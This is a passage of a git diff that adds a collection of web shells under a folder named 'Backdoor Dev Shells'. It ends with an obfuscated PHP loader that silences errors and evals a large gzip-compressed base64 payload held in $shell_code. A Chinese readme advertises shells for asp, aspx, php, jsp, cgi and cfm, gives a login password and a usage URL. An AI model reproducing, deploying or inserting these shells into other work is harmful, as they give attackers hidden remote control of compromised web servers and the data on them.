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";error_reporting(0);@set_time_limit(0);eval("?>".gzuncompress(base64_decode($shell_code)));
+?>
\ No newline at end of file
diff --git a/Backdoor Dev Shells/readme.md b/Backdoor Dev Shells/readme.md
new file mode 100644
index 0000000..1533e0c
--- /dev/null
+++ b/Backdoor Dev Shells/readme.md
@@ -0,0 +1 @@
+DevShell全套支持asp,aspx,php,jsp,cgi,cfm(含源码) 其中devshell.cfm 是CFM的马 密码:adobe123 使用方式:http://url/test.cfm?o=login
\ No newline at end of file